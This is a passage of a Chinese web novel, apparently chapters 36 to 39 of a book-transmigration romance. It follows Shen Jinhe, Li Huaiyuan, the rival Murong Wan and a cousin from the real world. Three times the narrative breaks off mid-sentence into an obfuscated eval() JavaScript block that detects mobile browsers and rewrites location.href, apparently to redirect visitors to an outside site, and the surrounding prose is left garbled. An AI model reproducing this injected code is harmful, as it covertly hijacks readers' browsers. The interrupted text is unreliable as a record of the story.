另一人道:“柳公子什么天仙没见过,薛老板说的那人只怕入不得您的眼。” 柳南钦摇摇头不认同:“孟兄此言差矣,美人自是各有各的美法,有明眸皓齿、清水芙蓉的,自就有那媚骨天成、魅惑众生的,只是不知薛老板口中的天仙似的人物,是此间哪一种?” 众人拖长了尾音起哄:“哈哈,还是咱们柳公子懂女人啊。” 李怀远顺了口气,看向一旁的沈今禾:“还觉得他儒雅么?” 沈今禾老实地摇了摇头,郁闷道:“我果然还是不太懂男人……” 又言:“不过想必叶绥会很懂。” “叶绥?他在柳南钦面前完全就是……”李怀远想了想道:“麻绳儿栓豆腐。” “?” “不值一提。” “……” 酒香四溢,五味酒酱蟹与清蒸鲈鱼一起端了上来,李怀远慢条斯理地擦干净手,边剔蟹肉边道:“这么说吧。但凡浔阳有点姿色的姑娘,都跟柳南钦相好过。” 不简单啊! 沈今禾自然听懂了此相好并非叶绥那个“妇女之友”的彼相好,闻言有些疑惑:“那这么些年,就没有一个女子怀了身孕找柳公子负责吗?” “假的倒是有很多,真的么,一个都没有。” 李怀远说罢一抬头,见对面之人一脸“他是不是不行”的表情,突然就想起两人第一次在世子府主院的榻上交换情报时,沈今禾那一系列的豪迈举动。 此刻生怕她此刻再说出什么惊人的话来,于是忙将他剔好的肉推到沈今禾跟前:“尝尝,浔阳特色。” 哪知与此同时,沈今禾偏巧不巧刚好将去了刺后的鱼肉往李怀远盘中放。 登时两人的动作都僵在空中,一时间有些尴尬,好在沈今禾率先反应上来,手疾眼快地将鱼肉塞给李怀远,硬着头皮道:“世子先请。” 鱼肉丝滑紧致,入口鲜嫩,嫩得连李怀远早间淤堵了半日的心结都变得通畅了起来。 街市熙熙攘攘,沈今禾倏而有些恍惚,还以为他们又回到了小年夜之前的日子,那时上京虽不太平,但她和李怀远至少可以和和气气地同坐一席,能默契地从天南聊到地北。 今日这般,倒像是做了场梦,是她在李怀远得知真相后从未奢求过的场景。 她以为李怀远当日说了再不相见,就是生生永不见的意思,哪怕即使有一天她有资格参加早朝了,两人被迫在朝堂碰上,李怀远也绝不会逢场作戏,施舍给她半个眼神。 今日在柳府碰上,沈今禾又以为他还是心气难平,所以故意来给她使绊子的。 直至此刻,她才意识到是自己狭隘了。 或许对李怀远来说,她只是他生命中的一叶扁舟,虽有那么一瞬间泛起了丝丝涟漪,但终会随着汹涌浪潮起伏沉溺,消失在茫茫海面之上。 李怀远的眼中装着浩瀚大海,大概不屑于同自己这样的小人物计较,故而此番再见,也能表现出良好修养的样子。 正想着,思绪突然被隔壁那几位的声音打断。 酒过三巡,除了柳南钦,那一众人瞧着都喝得有些多了,说起话来开始口无遮拦。 好在有雕花屏风挡着,倒是也影响不到他们。 薛老板喝得舌头有些打结:“那小娘子美、美得老子心尖直颤,那句话怎么说来着,什么芬,什么莹的。” 柳南钦风流倜傥地笑道:“兰芬灵濯,玉莹尘清。” “哎对对对,就是这么个味儿……害,也不全对,那女子还有股说不出的魅劲儿。” 想了想,薛老板又道:“诸位可否听过那、那秋弥国的大司空之女……薛某说的,正、正是此人。” “慕容宛?!” “我滴个乖乖,这位谁能没听过,前阵子商队走马的老徐头说,去年往秋弥国贩马,他们商队有个小伙子在大街上看了慕容宛一眼,就丢了魂儿似的,魂牵梦绕,回来就得相思病了。” “哈哈哈。” 坐在角落的青衣公子似是有些不信:“那慕容宛真如你们说的那么美?”他回忆道:“几年前我有幸见过那秋弥国的大司空一面,长相十分一般啊,没道理生个女儿像天仙吧。” “嘿,没准人家娘长得好看呢。” “薛老板在哪儿见的慕容宛,难不成她来浔阳了?” “废话,不然老子上哪里见她去?” …… 沈今禾捏着茶杯的那只手一抖,“啪”地一声,玉盏应声而碎。 她呆坐在原地,一股寒意涌上她的脊背,对于慕容宛,沈今禾始终有一种强烈而不安的预感。她果然没猜错,慕容宛来浔阳了……她跟着自己来浔阳了! 李怀远发现她脸色煞白,神情有些不对劲,虽不想表现出对这个白眼狼担忧的样子,但还是没忍住问:“你怎么了?” 沈今禾紧紧抿着微微发青的双唇,只连连摇头。 薛老板他们还在议论:“听闻慕容宛近日做客凌安王府……对了!柳公子,王妃几日后举办春花宴,慕容宛肯定也到场呀,你去替咱们瞧瞧呗!” “哈哈哈,可别一瞧定终身了啊。” “放你的屁,柳公子何方神圣,就是洛神来了,咱们柳公子也照样坐怀不乱。” 那边的欢声笑语被沈今禾阻隔在外,此时此刻,她满脑子都是那个装满永州吃食的食盒。 一定是她! 一定是田豫的那个嫡幼女,她忘了她的名字,却怎么也忘不掉那双阴戾的眼睛。沈今禾知道自己的想法十分荒谬,也没有丝毫的证据,甚至她连慕容宛见都没见过,可她还是止不住地浑身打颤。 “世子,下官身体有恙先行告退,还望世子恕罪。” 说完就起身往外走去。 李怀远幽黑的眼底说不清是什么情绪,跟着她就下了楼,也不管大街上会不会有人看热闹,一把就抓住沈今禾的手腕。 “你到底怎么了,有什么事不能说出来,我来想办法,你就这么信不过我吗?” 他手上的力道不大,沈今禾却还是感觉到了疼痛,眉头不由得一蹙。她有些疑惑地看向李怀远,不明白他为何面含怒气,眸底还溢出浓浓委屈。 “你总是这样,骗我,瞒我,永远都不说实话,我明明知道你不是身体抱恙,却还得装着什么都不知道的样子放你走,有什么难处你说出来,你说了我才能去想办法,这里是浔阳,就算我解决不了,不是还有凌安王府吗?” 沈今禾一怔,明明当初自己的骗子行径被揭时,李怀远恨不得杀了她……她怎么也想不到,现在他还能说出这番话来。 顿时心底划过一丝暖意。 可是该说什么呢?说她是良馀贱籍后代?还是说她根本就不是这个世界里的人?沈今禾睫毛轻轻一颤,动了动唇角,想说的话又咽下了。 李怀远见她一副完全不打算坦白的神情,盯着她裙摆那朵明艳的海棠花,眸子微微泛红,指腹用力嵌入掌中。 良久,才从牙关挤出一句:“沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李怀远点了点头,直到那道消瘦的影子淹没在人海中,他才转了身往王府的方向走,谁知刚迈出一步,就被人给截住了。 柳树下,月牙白锦袍公子一只胳膊搭在他肩膀,另一只手抚在白玉腰带上,语气里满是揶揄:“诶,我感觉沈编修这人挺随和的啊,你方才说什么了把人家给气跑了,啧啧,亏我用膳时还给你们制造独处的机会。” “你有事吗?没事我先走了。” “哎哎哎,急什么。”柳南钦一副浪荡做派:“她是不是想去参加王妃的春花宴?” “与你何干?”李怀远皱眉,似乎不是很想跟他讨论沈今禾。 “是跟我没关系,不过跟你可是很相干呐。”柳南钦神情痞痞,懒洋洋道:“你想想,王妃为什么要举办这场春花宴?那还不是为了集齐了世家嫡女们,好给你挑个称心的世子妃。这是明眼人都知道的事,所以你猜猜沈编修为何要去?” “为什么?” “女人的嫉妒心呗。” “……”她?怎么可能?李怀远半分未信,按了按额角的青筋,“你要是没话说,大可以闭嘴。” “你不信我?那你说说她还能去王府干什么?要是只为走走过场献献殷勤,那来浔阳第一日就去了,还等得着春花宴?” 李怀远盯着头顶柳条上抽出的嫩芽陷入了沉思。 见他不语,柳南钦挑了挑眉,开始言传身教:“这女人啊,就像手里的风筝,是紧不得也松不得,你就是之前把人姑娘逼得太紧了,才适得其反的……试着松一松,没准儿就成了。” “怎么松?” “自然是冷一冷,放一放,要让她感受到你不是非她不可,这样她才会紧张你,在意你。” “说人话。” “你只要春花宴那日打扮成花蝴蝶一般,故意在沈编修面前表现出对旁的女子的殷切,保管她能变了脸,咬牙切齿地醋一晚上,哦对了,那个慕容宛就很不错,听说长得像天仙,想必会事半功倍。” “你确定?” “我柳公子何曾失手过?” “去岁上巳,听闻上官姑娘站在街灯下骂你,还说了老死不相往来的话。这个算不是失手?” “回见。” …… 37.第 37 章 沈今禾忙完回到驿馆时,系统还在沉沉地睡着,她走之前给他放在桌上的饭菜一口未动,现在早就凉了个透。 一掌拍到他脑门上,“还睡呢,也不看看几时了,再睡天都要黑了。” “黑就黑。”系统翻了个身,嘴里嘟嘟囔囔。 “限你一炷香之内醒来。”沈今禾站在榻边,撸起袖子道:“别逼我揍你。” 作息混乱,饮食还不规律,真是叫人头疼死了。 系统闻言裹着被子坐了起来,却依旧闭着眼睛,一副随时会倒下去的样子:“不是你说这里人多眼杂,叫我不要出门的吗?” “我只是叫你不要出门,没说叫你不要起床。再说了,当时我分明说的是,你变成小姑娘的时候尽量别出门,以免有心怀不轨的人盯上,你看看你今日是小姑娘吗!” 浔阳治安虽好,可毕竟人生地不熟,沈今禾担心,七八岁的小姑娘一人在街头晃悠,十分容易被坏人骗去。 更要紧的是,这一男一女两幅面庞可别都被李怀远给撞见了,他可不像叶绥和荷华那样好哄,到时候再把系统当成什么邪祟给抓起来,那可真就说不清楚了。 见眼前的玉面小公子作势又往枕头上倒,沈今禾叹了口气道:“慕容宛来浔阳了。” 一语惊醒梦中人! 系统“腾”地一下从榻上跳了起来,额头撞在榻柱上,捂着疼处叫道:“她真的来了?!” “真的,人现在就在凌安王府上。” “凌安王府?”系统疑惑:“她去那里做什么?总不能是竞选世子妃吧……” 沈今禾摇头,虽然内心极度不安,却也猜不透慕容宛究竟意欲何为,按照书中描述,最后她与小侯爷双宿双飞,那应该是蜜里调油、难分难舍才对,没道理抛下小侯爷,自己一个人在外面到处乱跑吧。 正想着,外面突然传来一阵敲门声。 “今禾,十七,你们在屋里吗?” 沈今禾起身开了门,还没来得及说话,就见叶绥迫不及待地钻了进来,端起桌上的茶水一饮而尽。 他气喘吁吁,额间还布满了细汗,显然是一路小跑过来的。 系统道:“后面是有鬼在追你吗?” “哎不是。”叶绥脱掉外面的小袄子,拿起玉骨扇边扇边说:“最新消息,慕容宛和那个小侯爷和离了。” 系统脸上的笑意一僵,和沈今禾对视了一眼,两人都忙不迭凑到桌边,一脸严肃问道:“此话当真?” “我亲耳听见慕容宛给王妃说的,还能有假?”叶绥抬手用袖口擦了擦额头上的汗水:“你们不信可以去问荷华,她当时也听到了,所以才急忙叫我把这事儿转告给你。” “为什么要告诉我?” “哎呀你傻啊,那慕容宛明摆着的醉翁之意不在酒,嘴上说着为情所伤来浔阳散心,实际上还不是奔着世子妃的位置来的。前脚刚跟小侯爷感情破裂,后脚就来寻下家了,真是、真是……” 他向来对女孩子宽容,实在不好意思说出“不知廉耻”几个字。 “之前在来的路上,你不是还被她迷得晕头转向吗?”系统落井下石。 叶绥皱皱眉:“我是喜欢漂亮姑娘,但我不喜欢满口谎话、心地不善良的姑娘。” “何以见得?” “就是……哎,说来话长,总之你先别管这个了,荷华让我给你传个信,她说既然世子心里有你,你也倾慕了他那么多年,不该就这么被人截胡,生生错过。还说王妃似乎挺看重慕容宛的,她只问你一句,需不需要她帮你在王妃那里说上几句好话。” 或者说几句慕容宛的坏话。这句叶绥没说。 沈今禾嘴角一抽:“……我知道你们是好心,但请不要……” 不要来添乱啊! 叶绥替她着急:“你们俩要是有误会,就赶紧解释清楚呀,我瞧着那个慕容宛不像好人。” “不打紧吧,连你都能看出来她不是好人,想必世子也能看出来。”沈今禾拍了拍叶绥的肩膀,反过来安慰他。 “……什么叫连我?” 叶绥苦恼:“诶,我说你怎么、怎么油盐不进的。”他默默祈祷自家小叔可别真被那个坏女人拐去了。 又道:“你们不知道,那个慕容宛,竟然用带刺的鞭条抽打侍女,太狠了……更恐怖的是,她竟然可以在王妃面前马上变换出一副我见犹怜的模样,要不是我亲眼所见,打死我都不会信的。王妃心善,认定是小侯爷抛弃了她,对她好的不得了。” 系统如临大敌,嘴里一直念叨着:“完了完了……一定就是她。” 暮色降临。 送走了叶绥,沈今禾伏在案上沉思。 系统就着炉上刚烧开的茶水,边吃着凉掉了的饭菜,边问:“慕容宛和小侯爷最后不是两情相悦双宿双飞了吗,怎么会和离呢?” 沈今禾正要回话,转头一看他在吃冷馒头,一把夺了过来,敲了敲他的脑袋瓜,没好气道:“你这次再吃坏肚子,别指望我大半夜还能出去给你找郎中。” 系统委屈地抱着脑袋,夹着尾巴去驿馆的小灶找吃的。 天将擦黑,大街上叫卖的贩夫们借着一点余晖开始收摊。沈今禾打开二楼的窗户,看向人影匆匆的街头。 秋弥国当下发生了何事她不得而知,因为这本书从三皇子登基称帝之后时间线就十分混乱,导致她无法推断目前是否已经走到了大结局。 按照系统最一开始告诉她的,一旦本书走向结局,那么所有的人都不再受任何角色限制,会恢复自由意识,也就是说,这里即会成为一个真正的世界。 如果真是这样,慕容宛和离一事就不奇怪了。那个小侯爷本就是个好色之人,只是因为作者写到尾声时,硬生生要把他和慕容宛凑一对,这才将他改成了浪子回头的专情人设。 如今故事讲完,他意识觉醒,与慕容宛闹掰,回去继续流连花丛、娶个三妻四妾再正常不过。 而慕容宛心高气傲,意识觉醒之后自然也看不上一事无成的小侯爷。 两人这也算是彼此放过、友好和离了吧。 …… 翌日一早,沈今禾照例去柳府办差。 柳南钦不在,她反倒乐得自在,一个人整理起书籍文献更加得心应手。边整理边想,柳氏一族书香门第,柳南钦也算是坐拥天下图书文籍,不知道艳羡死多少读书人,偏偏他本人却对此丝毫不感兴趣。 据说小时候被他祖父捆在藏书阁里按着头地让他温书,他都能跳着窗地跑出去。 还真是旱的旱死,涝的涝死。 正想着,忽见中庭拱桥处不紧不慢地走来一抹熟悉的身影。沈今禾心头一跳,心道这下又没法安心做事了。 李怀远今日也不知怎么了,总觉得王府憋闷得很,忍不住就想出来散散心,原本是打算出城去的,可脚底偏生不听使唤,不知不觉就走到了柳府门口。 来都来了,那进去讨盏茶吃也没什么吧。 “世子。”沈今禾将笔放在笔搁上,迎出去行了个礼。 “柳南钦呢?” 见李怀远径直走进书房里,沈今禾挠了挠头道:“柳公子辰时就出门了,问了门房,说是城东的铺子有生意要谈,约莫入了夜才能回来。” 这么晚? 李怀远淡淡“嗯”了一声,原本打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14481547|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要接的那句“无碍,我就在这里等他”突然就有点站不住脚,他一边慢条斯理地翻阅沈今禾收集成册的材料,一边绞尽脑汁地想着留下来的借口。 小吊炉的水咕嘟咕嘟地往外冒,沈今禾走过去,沏了茶,斟上一盏递给李怀远,笑盈盈道:“柳公子搁在这儿的好茶甚多,今日倒是便宜了我们。” 雪沫乳花,茶香馥郁,李怀远的手无意碰上她的指腹,神色一动,那触感温温凉凉,不热烈也不冷淡,如同她的人一样。 桌案上散落了些许写废的残稿,李怀远拿起来一一看过,“瞿广?你在给他作传?” 说罢眸光一亮,似是想起了什么,不待沈今禾答话,随即道:“陛下念你先前的舍身之举,特在信中叮嘱我要对你关照一二,我今日前来除了有事找柳南钦商议,也顺带借此机会来你这里看看……公务上有没有什么帮得上忙的?” 他脸不红心不跳地一口气说完,跟真有那么回事儿似的。 听他这么一说,沈今禾还真意识到有件事没准他帮得上忙。 老凌安王的祖父那一辈曾与瞿广同朝为官,且还都是武将,又都在漠北一带驻军打过仗,两家人说不定是熟识或者至交,不知道王府里有没有留下什么关于瞿广的记载。 正想着,突然听见外面传来一阵嘈杂的吵闹声。 仔细一听,大约是柳南钦回来了,好似又在教训那个小面首弟弟,小面首不服,两个人正在大声争执。 “柳南羡!你再敢往外跑,看我打不打得断你的腿!” “我又不是你的看门狗,爱去哪儿去哪儿,你凭什么限制我的人身自由!” “凭什么?!就凭你不学无术,捅了娄子还得靠家里跟你屁股后面收拾!” 柳南羡气得齿关打颤:“我不学无术?你在我这么大的年纪又好到哪里去了?你不是也被祖父绑在书房里,硬让你考个功名出来吗!那你考了吗!” “你!你再顶嘴?!还敢说书房?信不信我现在就把你绑到柴房去。” 柳南钦觉得自个儿在外人面前也算体面了,怎么摊上这么个玩意儿做弟弟,每回都能把自己气到七窍生烟,毫无风度可言。 书房之外的松树前正立着两个人,眼睛眨也不眨地往这边瞧。 果然还是别人家的热闹好看,李怀远负着手乐呵呵道:“真是一物降一物啊。” 柳南羡吵不过他哥,正打算寻个机会逃走,一抬头冷不丁看见书房门口的李怀远,瞬时眼神一亮,拔腿就往过跑。 “世子,您来评评理,我从江大侠那里得了两坛陈酿,我哥非说这是来路不明的东西,要把它给砸了。” 柳南钦咬牙:“你不怕把自己给喝死啊!什么大侠,我看就是个懂点三脚猫功夫的江湖骗子罢了,这种人你以后少来往。” 你一言我一语,李怀远被聒得耳朵疼,他只是想看个热闹,并不想变成热闹本身。 于是让他们俩一人站一侧,一直往后退,直到退到彼此都听不清对方说什么为止,然后又找了个情绪稳定的小厮在当中传话。真是奇了,那些伤人的话一经转述,竟有了几分关切之意,两人吵着吵着也就平息了下来。 沈今禾自知人微言轻,从一开始就没打算掺和进去,装傻充愣地左瞅瞅右瞧瞧,正瞧得起劲儿,视线不经意就落在了廊庑下一抹墨蓝色的衣袍上。 很显然那人也看见了她。 眸底划过一丝诧异,沈今禾疾步向那人走近,待看清了他的容貌,顿时瞠目而视,下意识脱口而出: “表哥!” 书房门口那几个吵架的和劝架的,乍然都息了声,齐齐凑过来道:“表哥?!” 38.第 38 章 沈今禾愣着说不出话来,还是柳南钦先反应上来,拱了拱手朝墨衣男子道:“方才只顾着教训那小子,倒把贵客给忘了,失了礼数,还望郑先生见谅。” “给诸位介绍一下,这位是以前祖父的门生郑元郑先生,从老家赶往上京准备参加今年的春闱,路过浔阳,在鄙府借住几日。” 说罢又依次介绍了李怀远几人。几人寒暄过后,柳南钦又将话头扯了回来:“方才沈编修怎么叫郑先生表哥?二位莫非认识?” 沈今禾已经从刚刚的惊愕中回过神来,知道柳南钦必有此一问,想好了对词,开始一本正经地编瞎话: “我的身世诸位也知晓,六七岁之后就没再同舅父那边的亲戚往来过,所以刚才乍一看到郑先生,觉得与印象中一位远房表哥十分相像,一激动,这才无口遮拦地喊了出来。” “不知诸位能否让我与郑先生独处片刻……”沈今禾难为情道:“若真是一门亲戚,自然是再好不过了。只怕谈起往事来难免会情不自禁,在外人面前惹了笑话。” 柳南钦一听,立马先回头去看李怀远,果见他眸光不善地盯着那道墨蓝色的影子,这才道:“好说好说,你们若真是表兄表妹,也算苍天有眼,叫沈编修在这世上多了个亲人,郑先生也算不虚此行了。” 说罢又眼珠一转,看热闹不嫌事大,“不如去水榭一叙,那处风景好,我让人送些茶点过去。” “多谢。”郑先生行了礼,又看向沈今禾:“沈编修请。” 看着那两人肩并着肩离去,李怀远腹中窜起一股无名火气,心里盘算着哪天直接一把火把柳府烧光了事。 柳南钦自然知晓他心里想什么,故意在一旁煽风点火:“哎,自古以来,表兄表妹的戏文都是最好看的,话本也最畅销,是吧南羡?” 柳南羡道:“不是啊,我就最喜欢看江湖儿女,快意恩仇。” “……” 柳南钦看着自己这位没什么慧根的弟弟,敲了敲眉心:“行了,你玩去吧。” 话音刚落,就见身侧之人“咻”地一下没了人影。 书房外的松树下,一眨眼的功夫,看热闹的人就变成了热闹本身,咬牙切齿的人倒成了个看热闹的。 “不是说、入夜之后才回来吗?”李怀远咬牙道。 “哎呀事儿没谈成,恰巧碰见郑先生,就一同回府了。” 此处隔着一汪湖水,正好能看到水榭那边的身影。今日碧空如洗,湖水对面的风景可谓是一览无遗。 柳南钦上下打量着一旁黑着脸的人,幸灾乐祸道:“看你的反应,恰可证明我昨日给你建议的法子十分管用啊。” 李怀远没搭理他,他便自顾自地继续说:“你看啊,沈编修仅仅只是和郑先生叙叙旧而已,你都能醋成这样,啧啧,可想而知,你要是在春花宴上对那位慕容天仙表现出几分殷切,那沈编修还不得气吐血啊。” “你闭嘴吧。” “事实而已……喂喂喂,你干嘛!”柳南钦一转身,忽见李怀远从花匠那里要了把修花的枝剪,目光阴寒恻恻,打量着自己那株天价的罗汉松。 “咔嚓”一剪子下去,右边延伸出来的一团枝叶应声掉在地上。 “你是不是有病,剪我的景观干什么!” “哦,它两边不齐整,右侧凸出太多,太难看了。我忍了好几年,今日实在是忍不下去了。” 李怀远放下枝剪,往后退了两步,看着树干两侧终于整整齐齐地排列着的枝叶,神情这才舒缓了些。 “你懂不懂啊,这叫雅致!美感!园林艺术,文化传承懂吗?!”一棵树它为什么非要长得整整齐齐啊,这可是高价打造而成的,柳南钦的心简直在滴血。 “哦。” “……” 此时的碧波水榭上,完全是李怀远想象之外的一番场景。 “阿乔,是你吗?” “你叫我什么?!” 阿乔,这个十八年都没有被人叫过的名字……她在原世界的名字——蒋菁乔。 沈今禾浑身上下像是触电了一般,看向这个与原世界舅舅家的表哥一模一样的面孔,猝然一个激灵,一把抓住问话之人的衣袖,不可思议道: “表哥,是你!真的是你!怎么会……你怎么会进入这本书里?” “你们的事我都知道了。”郑元看向眼前人的陌生容颜,明明她和自己妹妹的长相毫不相干,却还是难掩心疼之色:“这些天……不对,应该说这些年,你在这里受苦了。” “先不说这个。”沈今禾心中疑惑重重:“表哥,你到底是怎么……” “我是穿书组织的工作者。”郑元道:“这份工作要求对外保密,所以一直以来都没有告诉过你们……” “今天下午……哦,我是说现实世界的今天下午,警方和组织负责人一起找上我,一五一十向我说了你们的事。因为你没有直系亲属,相关的手续办理和签字就交给我来处理。阿乔,我万万没想到媱儿她……她能做出这样的事,太、太……” 太可怖了,他无法用语言来形容。 “警方担心她穿进书里是想杀了你,于是和组织商议后决定派人进来,和你一起找她。” “怎么不多派几个人来?” 郑元摇头,“能让我进来就已经是极限了。再来人,只怕载体会承受不住。” 连接原世界与这里的载体一旦崩塌,两个世界相互隔绝,别说找人了,就是想传递消息都不可能了。 “你是直接用自己的身体进来的?” “是的,时间紧迫,下午一接到通知,我就立刻来了。” 沈今禾这才意识到,从去年上元节系统出现到今年春时一年的光景里,这里发生了如此多纷繁复杂的事,而原来世界不过才度过了一天而已。这么说来,他们的效率算得上是很高了。 沈今禾思虑片刻道:“表哥,你快回去吧,这里很危险,剩下的事交给我就好了,我有系统帮忙,他与穿书组织随时都能保持联络,等找到蒋菁媱,我肯定第一时间通知警方。” 郑元道:“不必担心我,好歹我也在组织工作了这么多年,什么突发状况都遇见过了。” “可这里毕竟是一个你不了解的时代。” “阿乔。”郑元叫了她一声,眼神流露出一丝迟疑,仿佛在权衡接下来的话该不该说。 可看到表妹明明自己深处旋涡之中,却还是只顾着担忧他的安危,郑元实在狠不下心瞒她,艰难开口道: “阿乔,你听我说,奶奶得知媱儿的事情后当场就晕倒了,送到医院已经几个小时了,也一直没醒过来,爸的意思是,让我先系统一步找到媱儿,把她带回去自首,也许她有什么难言之隐……可以争取宽大处理。” 原来是这样…… 不是来帮她的呀。 沈今禾动了动嘴唇,想问,那我呢? 可话到嘴边又咽下了,她安慰自己,蒋菁媱毕竟是外婆从小看着长大的,外婆跟舅舅对她牵挂偏爱也正常。 她吸了吸鼻子,若无其事地掐灭了方才眸子里生出的一丝暖意和期待。 冷静道:“表哥,你应该知道,她是个大脑健全的成年人,犯了法就得接受法律的制裁,不是一句什么难言之隐就能免去责罚的。” 郑元叹了口气:“我十分理解你的心情,设身处地去想,如果我是你,只怕是比你更加气她恨她,恨不得她能下地狱……可我也不忍心看着奶奶的身体因为她而衰败下去。” 他知道自己的话委实不要脸了些,可还是硬着头皮道:“你可以打我,骂我,说我站着说话不腰疼,怎么都行,但是能不能……找到媱儿之后先不要通知警方,我们一家人先了解清楚她为何有如此行径,再下定论可以吗?” 沈今禾只觉得有什么东西密密麻麻地往自己心口扎,奇怪的是,她不疼也不痒,就是扎出来了好多个血窟窿,看上去特别骇人而已。 她也不是一口咬定蒋菁媱有罪就该去死,只是明明被害的那个人是她啊,为什么他们第一时间不是关心她这些年过得好不好,疼不疼,怕不怕,而是要想方设法地包庇罪人呢? “阿乔。”郑元看着眼前蹲在地上不知所措的人,有一瞬间突然意识到,她生活在这个陌生的世界里,不是十八天,不是十八月,而是整整十八年。 顿时真想给自己一巴掌。 他明明知道证据确凿,明明知道他父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488633|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲口中那句“都是一家人哪有什么深仇大恨,阿乔一定会原谅媱儿的”就是一堆自私又可恶的狗屁话。可他还是对她如是说道。 阿乔也是他的妹妹,说不心疼是假的,郑元弯下身子摸了摸她的脑袋,向她保证:“你放心,只要找到媱儿,只要确认她不是被冤枉的,我一定亲手把她送到警方手里。” 沈今禾低着头闷闷地“嗯”了一声。 揩掉眼里的雾气,问道:“蒋菁媱……也是穿书组织的人吗?” “她不是。” “那她是怎么把我困在这本书里这么多年的?” “之前媱儿通过我认识了组织里一个中层人员,也就是她后来的丈夫。经过警方核查,她获取了你的穿书ID号之后,瞒着自己的丈夫,偷偷盗用了他的内部权限,篡改了一些程序,这才……实施的犯罪。” “然后又故意破坏了载体,让系统失去和我的联系,想让我在这里自生自灭是吗?” “对……”郑元艰难道。 所以还要怎么去了解她的难言之隐,还要怎么确认她不是被冤枉的呢?话都说到了这个份上,结果不是已经很清晰了吗? 郑元自然也想到了这一层,他也知道蒋菁媱罪大恶极,可自己还是为了家人厚颜无耻地替她开脱……他脸上火辣辣的,像是被人打了一巴掌,实在没脸再待在沈今禾面前,于是只能借故离去。 “好了,在这里待久了会被人说闲话,我先去找柳公子了,你自己万事小心。” 见他转身要走,沈今禾终于没忍住抬起头问道:“表哥,她为什么要用这种方式……” “警方找到了一本她写的日记。”郑元神色复杂道:“她好像……特别恨你。” 为什么? 如果恨她,为什么不直接杀了她呢? …… 郑元走后,沈今禾也没什么心思回书房继续处理公务,趴在栏杆处看水里的游鱼和几茎蔫儿了的残荷。 她突发奇想地脱了鞋履,坐在亭子边,将两只脚伸过栏杆,够着湖里冰冰凉凉的水。 时至晌午,湖面映着日光,波光粼粼宛如仙岛,原是草长莺飞的二月,气候却不比冬日里暖和多少,湖水清冽寒凉,沈今禾却很享受这种刺骨的触感。 嘶……好冷,钻心蚀骨的冷。 真好,原来自己并没有失去痛感。 “你一个人在这里做什么?”熟悉的雪松香传来,李怀远捧着个酒坛子走进六角亭中,在石案上搁了两只碗,边往出倒酒边问: “喝吗?” 见他自顾自地先饮了半碗,沈今禾呆呆地眨了眨眼,这才一本正经道:“依大郅律例,官员不能在公务期间饮酒。” 沉吟片刻,李怀远大手一挥:“依大郅律例,二品及以上官员有权代吏部准你的假,好了,你现在可以告假饮酒了。” 沈今禾哑然失笑,一手抓着栏杆,一手伸了老长,去够李怀远递来的酒碗,闻了闻道:“好香啊,这是什么酒?” “不知道,柳南羡给的。”李怀远又给自己斟了小半碗。 酒香伴着清风缭绕在碧波水榭之上,抿了一小口,沈今禾惊讶于这酒竟然是甜的,甘醴入喉,让人不自觉心旷神怡,于是端起碗来一饮而尽。 李怀远见她猫儿似的砸吧了两下嘴,忽觉好笑:“你就不怕这酒里有毒?” 心里憋闷,沈今禾心道有就有吧,反正她命大得很,遂举起碗道:“再要一碗。” “这酒后劲儿很大,你悠着点。” 话音刚落,就见挂在栏杆上那只猫儿第二碗又见了底,李怀远没忍住敲了敲她的脑袋,“挺能喝啊你……” 正说着,忽然瞥见她那两条吊在水面上晃晃悠悠的腿,再往下一看,两条小金鱼正躲在水下啄她的脚尖。 顿时心里一紧,蹙着眉头训斥:“成何体统!赶紧把脚收上来,大冷天的,你就不怕染上风寒?” 沈今禾也不知道自己是喝多了还是单纯地想自暴自弃,总之完全没有被他唬住,而是笑嘻嘻道:“不怕,反正生了病可以找你告假。” “……”李怀远扶额,无奈道:“依大郅律例,熏死别人家的鱼也算是一条罪责。” 39.第 39 章 “哦。”沈今禾点了点头:“那你可以再给我一碗酒吗?” “喝死你算了。”李怀远把酒坛搁在案上,小心地拽着她往亭子里拖,又怕扯疼了她的肩膀,又怕夹伤了她卡在栏杆雕花里的腿,费了半天劲,眼前的人竟纹丝未动。 沈今禾抱着碗眼巴巴道:“这酒好甜,再给我一碗吧,半碗也成。” “最后一碗。”李怀远道:“喝一口就起来。” 结果那人喝得碗都见了底,也没有半分要起身的意思。李怀远眉间略显不悦之色,正欲开口,却见她双手抱着栏杆,头枕在胳膊上道: “人生不如意十之八九,总归不是这儿疼就是那儿疼,我想着,要是脚底冻得生疼能让我忽略别处的疼痛,其实也挺不错的。” “胡扯。”李怀远抽掉她手里的碗,蹲下身子,小心翼翼地把她的脚从水里拽出来。 纤细的脚背湿哒哒的,在阳光下更显得白皙如玉,唯有足尖微微泛红。李怀远倒没心思看这些,冷着脸从怀里取出个帕子,托着沈今禾的脚丫子擦拭起来。 “行了,别感春伤秋的了,赶紧把鞋穿起来。” 虽然头晕晕乎乎的,但沈今禾还是听话地缚紧罗袜,摇摇晃晃地往脚上套鞋。 可惜眼前叠影重重,她折腾了半天都没穿上,李怀远叹了口气,又蹲下身子认命地拾起一只登云履,给她穿在脚上。 